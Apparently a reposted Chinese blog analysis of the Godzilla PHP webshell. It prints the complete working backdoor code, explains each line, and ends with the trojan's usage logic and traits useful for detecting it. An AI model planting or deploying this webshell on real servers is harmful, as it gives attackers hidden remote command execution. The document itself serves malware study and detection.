哥斯拉PHP馬逐句解析


Godzilla Webshell

[*] 參考博文:哥斯拉PHP馬分析

1. webshell生成

GenerateShell

  • 密碼:pass
  • 密鑰:key
  • 有效載荷:PhpDynamicPayload
  • 加密器:PHP_XOR_BASE64

生成Webshell文件:shell.php

<?php

@session_start();			//創建或者重啟一個會話
@set_time_limit(0);			//設置程序最長運行時間:永久
@error_reporting(0);			// 關閉錯誤報告
function encode($D,$K){			//通過密鑰對 $D 進行加/解密
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    //用base64 對 $_POST[$pass] 進行解碼,然后通過密鑰對返回數據進行加/解密
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);		//將攻擊荷載存儲到SESSION
        }
    }
}
  • 可以看到這個Shell內容不是特別多,攻擊荷載都在SESSION里,大部分代碼在實現加密通信。一眼看過去好像沒有特別明顯的特征,不像冰蠍可以直接找"AES"然后看上下文。

    [ 某技術論壇 ]


2. 逐句解析

2.1 開始准備

@session_start();
  • session的工作原理
    1. 首先使用session_start()函數進行初始換
    2. 當執行PHP腳本時,通過使用$_SESSION超全局變量注冊session變量。
    3. 當PHP腳本執行結束時,未被銷毀的session變量會被自動保存在本地一定路徑下的session庫中, 這個路徑可以通過php.ini文件中的session.save_path指定,下次瀏覽網頁時可以加載使用。
  • session_start()做了哪些初始化工作
    1. 讀取名為PHPSESSID(如果沒有改變默認值)的cookie值,假使為abc123
    2. 若讀取到PHPSESSID這個COOKIE,創建$_SESSION變量,並從相應的目錄中(可以再php.ini中設置)讀取SESS_abc123(默認是這種命名方式)文件,將字符裝在入$_SESSION變量中; 若沒有讀取到PHPSESSID這個COOKIE,也會創建$_SESSION變量,同時創建一個sess_abc321(名稱為隨機值)的session文件,同時將abc321作為PHPSESSID的cookie值返回給瀏覽器端。
@set_time_limit(0);
  # 語法:set_time_limit(time);
  • 設置程序執行時間的函數
    1. 括號里邊的數字是執行時間,如果為零說明永久執行直到程序結束;
    2. 如果為大於零的數字,則不管程序是否執行完成,到了設定的秒數,程序結束。
@error_reporting(0);
  # 語法:error_reporting(level);
  • 規定不同的錯誤級別報告:

    1. 關閉錯誤報告

      error_reporting(0);

    2. 報告 runtime 錯誤

      error_reporting(E_ERROR | E_WARNING | E_PARSE);

    3. 報告所有錯誤

      error_reporting(E_ALL);

    4. 等同 error_reporting(E_ALL);

      ini_set("error_reporting", E_ALL);

    5. 報告 E_NOTICE 之外的所有錯誤

      error_reporting(E_ALL & ~E_NOTICE);

2.2 定義encode函數

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
  • 定義函數encode:

    1. 定義一個循環,用第一個參數($D)的長度來控制循環次數

    2. 將$i加一,然后和15按位與(&),定義一個變量 $C 來存儲

      注意:運算符"+" 的優先級比 位運算符"&"要高

2.3 定義三個參數

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
  • 創建三個變量
    1. pass:用來定義木馬監聽POST請求中的哪個變量,簡單來說就是如果給$pass賦值pass,就需要通過在POST請求中給pass變量賦值,去訪問該文件,實現遠控。
    2. payloadName:$payloadName的值用來在SESSION中存取攻擊荷載,可以隨意賦值。
    3. key:$key的值用來存儲encode()方法中加解密會用到的鹽值。

2.4 Webshell主體部分

if (isset($_POST[$pass])){
  • 通過isset()監聽POST請求,
$data=encode(base64_decode($_POST[$pass]),$key);
  • 取出傳入的攻擊荷載/遠控命令解密后賦給F
if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
  # 語法:strpos(string,find,start)
  • () f函數查找字符串在另一字符串中第一次出現的位置(區分大小寫)。

    返回值: 返回字符串在另一字符串中第一次出現的位置,如果沒有找到字符串則返回 FALSE。

    注意: 字符串位置從 0 開始,不是從 1 開始。

    • 注意:strpos() 函數是區分大小寫的。

    • 注意:該函數是二進制安全的。

  • 相關函數

    • strrpos() - 查找字符串在另一字符串中最后一次出現的位置(區分大小寫)
    • stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
    • strripos() -查找字符串在另一字符串中最后一次出現的位置(不區分大小寫)
$payload=encode($payload,$key);
  • 通過密鑰對 $payload 進行加/解密,將
eval($payload);
  # 語法:eval(phpcode)
  • eval() 函數把字符串按照 PHP 代碼來計算。

    該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

    返回值:除非在代碼字符串中調用 return 語句,則返回傳給 return 語句的值,否則返回 NULL。如果代碼字符串中存在解析錯誤,則 eval() 函數返回 FALSE。

echo substr(md5($pass.$key),0,16);
  # 語法:substr(string,start,length)
  • substr() 函數返回字符串的一部分。

    注釋:如果 start 參數是負數且 length 小於或等於 start,則 length 為 0。

  • 先將遠控命令和鹽值進行拼接,然后計算拼接得出的字符串的MD5值,取前16位放在返回值前面

echo base64_encode(encode(@run($data),$key));
  • 通過攻擊荷載中的 run() 方法執行遠控命令,然后對返回的字符串加密,並輸出加密后的字符串。
echo substr(md5($pass.$key),16);
  • 取之前計算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回顯前后添加字符串,一方面是在進行二次加密,另一方面可以讓哥斯拉服務端知道返回的是哪條命令的回顯。
if (strpos($data,"getBasicsInfo")!==false){
  • 判斷 $date 里是否出現了 "getBasicsInfo"
	$_SESSION[$payloadName]=encode($data,$key);		//將攻擊荷載存儲到SESSION ?
  • 將攻擊荷載存儲到SESSION

3. 總結

3.1 木馬的利用邏輯:

  1. 第一次通信時,服務端通過POST方式傳遞一個名叫pass的參數給木馬,給pass參數賦的值是加密后的一組用”|”隔開的方法,也就是接下來要使用的攻擊荷載。荷載在解密后被存入SESSION,供之后使用。

  2. 從第二次通信開始,pass傳入的是遠控命令,通過攻擊荷載中的run()方法執行遠控命令。然后對回顯進行加密后傳輸給哥斯拉的服務端。

3.2 木馬特征:

因為涉及到了服務端的運行邏輯、不管再怎么改造、變形,以下幾點應該是沒法隱藏的:

  1. run()方法是寫死在攻擊荷載里面的,代碼一定會調用這個方法執行傳入的參數。
  2. 有一個向SESSION中存儲攻擊荷載的過程,就是會有一個$_SESSION[$XXX]=P的過程,這里的P是通過POST方法傳進來的參數。
  3. 會將傳入的參數解密、拼接后取MD5,前16位加到回顯的前端,其余的部分加到回顯的后端。

4. 其他補充

“@” 符號的意義

  • 它會抑制錯誤消息。
    1. PHP支持一個錯誤控制操作符:at符號(@)。當添加到PHP中的表達式時,該表達式可能生成的任何錯誤消息都將被忽略。
    2. 但要注意的是:這個控制只是將錯誤信息屏蔽掉,不讓其顯示出來,並不是真正的解決錯誤。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM